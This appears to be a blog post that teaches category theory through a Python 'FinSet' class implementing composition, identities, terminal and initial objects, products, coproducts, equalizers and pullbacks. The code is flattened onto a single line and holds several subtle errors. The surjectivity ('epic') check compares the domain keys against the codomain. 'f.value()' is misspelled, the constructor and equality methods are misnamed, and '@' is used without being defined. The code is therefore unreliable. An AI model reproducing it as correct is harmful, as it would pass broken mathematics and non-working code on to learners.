I’m launching you into the a deep end here if you have never seen category theory before (although goddamn does it get deeper). Do not be surprised if this doesn’t make that much sense. Try reading Rydeheard and Burstall chapter 3 and 4 first or other resources.

 from collections import Counter class FinSet(): def init(self, dom ,cod , f): ''' In order to specify a morphism, we need to give a python set that is the domain, a python set that is the codomain, and a dictionary f that encodes a function between these two sets. We could by assumption just use f.keys() implicitly as the domain, however the codomain is not inferable from just f. In other categories that domain might not be either, so we chose to require both symmettrically. ''' assert( dom == set(f.keys())) # f has value for everything in domain assert( all( [y in cod for y in f.value()] )) # f has only values in codomain self.cod = cod self.dom = dom self.f = f def __getitem__(self,i): # a convenient overloading. return self.f[i] def compose(f,g): ''' Composition is function composition. Dictionary comprehension syntax for the win! ''' return FinSet( g.dom, f.cod, { x : f[g[x]] for x in g.dom }) def idd(dom): ''' The identity morphism on an object dom. A function mapping every x to itself''' return FinSet(dom, dom, { x : x for x in dom}) def __equal__(f,g): assert(f.dom == g.dom) # I choose to say the question of equality only makes sense if the arrows are parallel. assert(f.cod == g.cod) # ie. they have the same object at head and tail return f.f == g.f def terminal(dom): ''' The terminal object is an object such that for any other object, there is a unique morphism to the terminal object This function returns the object itself {()} and the universal morphism from dom to that object''' return {()} , FinSet(dom, {()} , {x : () for x in dom} ) def initial(cod): ''' The initial object is an object such that for any other object, there is a unique morphsm from the initial object to that object. It is the dual of the terminal object. In FinSet, the initial object is the empty set set({}). The mapping is then an empty dictionary dict({})''' return set({}) , FinSet(set({}), cod, dict({})) def monic(self): ''' Returns bool of whether mapping is injective. In other words, maps every incoming element to unique outgoing element. In other words, does self @ g == self @ f imply g == f` forall g,f https://en.wikipedia.org/wiki/Monomorphism Counter class counters occurences''' codomain_vals = self.f.values() counts = Counter(codomain_vals).values() # https://docs.python.org/3/library/collections.html#collections.Counter return all([count == 1 for count in counts]) # no elements map to same element def epic(self): ''' is mapping surjective? In other words does the image of the map f cover the entire codomain ''' codomain_vals = self.f.keys() return set(codomain_vals) == self.cod # cover the codomain def product(a,b): # takes a sepcific product ab = { (x,y) for x in a for y in b } p1 = FinSet( ab, a, { (x,y) : x for (x,y) in ab } ) p2 = FinSet( ab, b, { (x,y) : y for (x,y) in ab } ) return ab, p1, p2 , lambda f,g: FinSet( f.dom, ab, { x : (f[x],g[x]) for x in f.dom } ) # assert f.dom == g.dom, f.cod == a, g.cod == b def coproduct(a,b): ab = { (0,x) for x in a }.union({ (1,y) for y in b }) i1 = FinSet( a, ab, { x : (0,x) for x in a } ) i2 = FinSet( b, ab, { y : (1,y) for y in b } ) def fanin(f,g): return { (tag,x) : (f[x] if tag == 0 else g[x]) for (tag,x) in ab } return ab, i1, i2, fanin def equalizer(f,g): ''' The equalizer is a construction that allows one to talk about the solution to an equation in a categorical manner An equation is f(x) = g(x). It has two mappings f and g that we want to somehow be the same. The solution to this equation should be a subset of the shared domain of f and g. Subsets are described from within FinSet by maps that map into the subset. ''' assert(f.dom == g.dom) assert(f.cod == g.cod) e = { x for x in f.dom if f[x] == g[x] } return e, FinSet(e, f.dom, {x : x for x in e}) def pullback(f,g): # solutions to f(x) = g(y) assert(f.cod == g.cod) e = {(x,y) for x in f.dom for y in g.dom if f[x] == g[y]} # subset of (f.dom, g.dom) that solves equation p1 = FinSet( e, f.dom, { (x,y) : x for (x,y) in e } ) # projection 1 p2 = FinSet( e, g.dom, { (x,y) : y for (x,y) in e } ) # projection 2 def univ(q1,q2): ''' Universal property: Given any other commuting square of f @ q1 == g @ q2, there is a unique morphism that injects into e such that certain triangles commute. It's best to look at the diagram''' assert(q1.cod == p1.cod) # q1 points to the head of p1 assert(q2.cod == p2.cod) # q2 points to the head of p2 assert(q1.dom == q2.dom) # tails of q1 and q2 are the same assert(f @ q1 == g @ q2) # commuting square condition return FinSet( q1.dom, e , { z : ( q1[z] , q2[z] ) for z in q1.dom } ) return e, p1, p2, univ
view raw finset.py hosted with ❤ by GitHub

Here’s some fun exercises (Ok. Truth time. It’s because I got lazy). Try to implement exponential and pushout for this category.